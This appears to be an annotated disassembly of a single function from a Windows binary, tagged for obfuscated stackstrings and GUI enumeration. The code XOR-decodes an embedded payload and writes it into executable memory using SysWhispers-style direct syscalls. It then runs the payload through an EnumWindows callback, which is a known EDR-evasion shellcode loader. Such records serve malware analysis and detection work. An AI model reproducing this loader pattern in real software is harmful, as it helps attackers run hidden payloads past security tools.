Function at 0x40163a
Capabilities:
Contain obfuscated stackstrings
Enumerate gui resources

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x128
call sym.___main
mov dword [esp], 0x5d8a0577
mov dword [esp + 4], 0x1634578
call sym.isPrime_long_long_
mov dword [esp], 0x5d8a0657
mov dword [esp + 4], 0x1634578
call sym.isPrime_long_long_
mov dword [esp], 0xa7640801
mov dword [esp + 4], 0xde0b6b3
call sym.isPrime_long_long_
mov dword [esp], 0xa76406c1
mov dword [esp + 4], 0xde0b6b3
call sym.isPrime_long_long_
mov dword [esp], 0xa76409bd
mov dword [esp + 4], 0xde0b6b3
call sym.isPrime_long_long_
mov dword [esp], 0xa764090f
mov dword [esp + 4], 0xde0b6b3
call sym.isPrime_long_long_
mov dword [esp], 0x5d8a0625
mov dword [esp + 4], 0x1634578
call sym.isPrime_long_long_
mov dword [esp], 0xa76408df
mov dword [esp + 4], 0xde0b6b3
call sym.isPrime_long_long_
mov dword [esp], 0x5d8a076f
mov dword [esp + 4], 0x1634578
call sym.isPrime_long_long_
lea eax, [ebp - 0xf1]
mov ebx, 0x409020
mov edx, 0xc1
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x20], 0xc1
mov dword [ebp - 0x100], 0x717a5a52
mov dword [ebp - 0xfc], 0x6b393070
mov dword [ebp - 0xf8], 0x63474277
mov word [ebp - 0xf4], 0x4559
mov byte [ebp - 0xf2], 0
mov dword [ebp - 0x24], 0xf
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x100]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf1]
mov dword [esp], eax
call sym.XOR_char__unsigned_int__char__unsigned_int_
mov dword [ebp - 0x108], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [ebp - 0x28], eax
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], 0x3000
lea eax, [ebp - 0x10c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x108]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._Sw3NtAllocateVirtualMemory
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401815
mov dword [esp], str.NtAllocateVirtualMemory
call sym.printf_char_const__..._
mov eax, 0
jmp 0x4018cf
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 0x104]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x20]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0xf1]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._Sw3NtWriteVirtualMemory
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x401861
mov dword [esp], str.NtWriteVirtualMemory
call sym.printf_char_const__..._
mov eax, 0
jmp 0x4018cf
mov dword [esp], str.Values_in_allocated_memory:
call sym.printf_char_const__..._
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], eax
jbe 0x4018a3
mov edx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 4], eax
mov dword [esp], str._02X
call sym.printf_char_const__..._
add dword [ebp - 0x1c], 1
jmp 0x401874
mov dword [esp], 0x40a050
call sym.printf_char_const__..._
mov eax, dword [ebp - 0x108]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_EnumWindows]
call eax
sub esp, 8
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret